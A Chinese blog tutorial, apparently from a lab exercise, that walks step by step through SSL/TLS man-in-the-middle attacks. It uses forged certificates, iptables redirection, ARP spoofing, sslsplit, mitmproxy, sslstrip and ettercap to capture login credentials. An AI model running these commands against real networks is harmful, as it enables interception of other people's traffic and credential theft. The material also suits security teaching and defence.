zoukankan      html  css  js  c++  java
  • SSL/TLS中间人攻击

    准备:kali、xp

    kali ip:192.168.14.157

    目标ip:192.168.14.158

    目标网关:192.168.14.2

    使用工具:ettercap、sslstrip、arpspoof、 Mitmproxy、sslsplit

    下面使用三种方法,但只有第三种方法会有图文演示。

    一、sslsplit+arpspoof

    (1)简介

    透明SSL中间人攻击工具
    对客户端伪装成服务器,对服务器伪装成普通客户端
    伪装服务器需要伪造证书,需要现在本地生成伪造证书
    支持 SSL 加密的 SMTP、POP3、FTP等通信中间人攻击

    (2)利用openssl 生成证书私钥
    openssl genrsa -out ca.key 2048

    (3)利用私钥签名生成证书
    openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

    You are about to be asked to enter information that will be incorporated

    into your certificate request.

    What you are about to enter is what is called a Distinguished Name or a DN.

    There are quite a few fields but you can leave some blank
    For some fields there will be a default value,
    If you enter '.', the field will be left blank.

    -----

    Country Name (2 letter code) [AU]:CN

    State or Province Name (full name) [Some-State]:jilin
    Locality Name (eg, city) []:changchun

    Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba

    Organizational Unit Name (eg, section) []:ali

    Common Name (e.g. server FQDN or YOUR name) []:alibaba

    Email Address []:123456@163.com

    (4)攻击者开启路由功能
    第一种修改的方法:sysctl -w net.ipv4.ip_forward=1

    第二种修改的方法:
    vim /etc/sysctl.conf

    net.ipv4.ip_forward=1


    (5)配置 iptables 规则,简单来说就是将加密浏览和不加密的流量重定向到指定端口

    # 查看规则

    root@kali:~# iptables -t nat -L -n

    # 清空规则

    root@kali:~# iptables -t nat -F

    # 查看 80 和 443 端口是否有占用

    root@kali:~# netstat -tulnp | grep 80

    root@kali:~# netstat -tulnp | grep 443

    注意: PREROUTING:路由生效之前执行规则

    # 发给 80 端口的流量转发给 8080

    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

    # 发给 443 端口的流量转发给 8443

    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

    # MSA:邮件提交代理

    iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

    # SMTPS:简单邮件传输

    iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

    # IMAPS:接收邮件

    iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

    # POP3S:邮件传输

    iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

     #再一次查看规则

    iptables -t nat -L -n


    (6)kali 实现 arp 欺骗

    root@kali:~# arpspoof -i eth0 -t 192.168.14.158 -r  192.168.14.2

    (7)启动 sslsplit 进行攻击

    1.创建目录和文件

    root@kali:~# mkdir test

    root@kali:~# mkdir /root/test/logdir

    2.开启sllsplit侦听 8080 和 8443

    sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

    二、Mitmproxy+arpspoof

    Mitmproxy也是和SSLsplit差不多的工具。

    (1)kali 实现 arp 欺骗

    root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2

    (2)添加防火墙规则

    # Mitmproxy 只支持在 8080 侦听

    iptables -t nat -F

    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080


    (3)mitmproxy 启动

    mitmproxy -T --host -w mitmproxy.log

    三、ettercap+arpspoof+sllstrip

    (1)开启流量转发

     echo 1 > /proc/sys/net/ipv4/ip_forward

    (2)端口转发,10000为sslstrip的监听端口

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

    (3)ARP欺骗

    arpspoof -i eth0 -t 192.168.18.100 192.168.18.254

    (4)开启sslstrip
    sslstrip -a -k -f

     

    (5)开启ettercap嗅探密码

    ettercap -T -q -i eth0

     

     (6)在xp上先测试HTTP登陆

    用户名:bbbb

    密码:test

    下面信息显示嗅探成功

    (7)在xp上测试HTTPS登陆

    用户名:test

    密码:test

    下面信息显示嗅探成功

     

    总结:如果你想查看在传输过程中更详细的信息可以使用前面两种方法,但是需要注意的是,前面两种方法使用伪造的证书加密数据,会被网站提醒证书错误,这样很容易攻击失败。

    第三种方法的攻击思路:

    ARP欺骗,使得攻击者能截获所有目标主机的网络流量;
    攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替;
    同时,与目标服务器建立正常的HTTPS连接;
    由于HTTP通信是明文传输,攻击者能轻松实施嗅探。

  • 相关阅读:
    获取label标签内for的属性值-js
    js万亿级数字转汉字的封装方法
    a标签的伪元素的应用——link,hover,visited,active
    JS声明变量的写法
    VUE环境配置步骤及相关Git Bash命令的使用
    display:inline-block下,元素不能在同一水平线及元素间无margin间距的问题解决方法
    css变量的用法——(--cssName)
    img的属性alt 与 title的区别
    返回结果的HTTP状态码——《图解http》第四章
    HTTP报文内部的HTTP信息——《图解HTTP》第三章
  • 原文地址:https://www.cnblogs.com/-wenli/p/10051431.html
Copyright © 2011-2022 走看看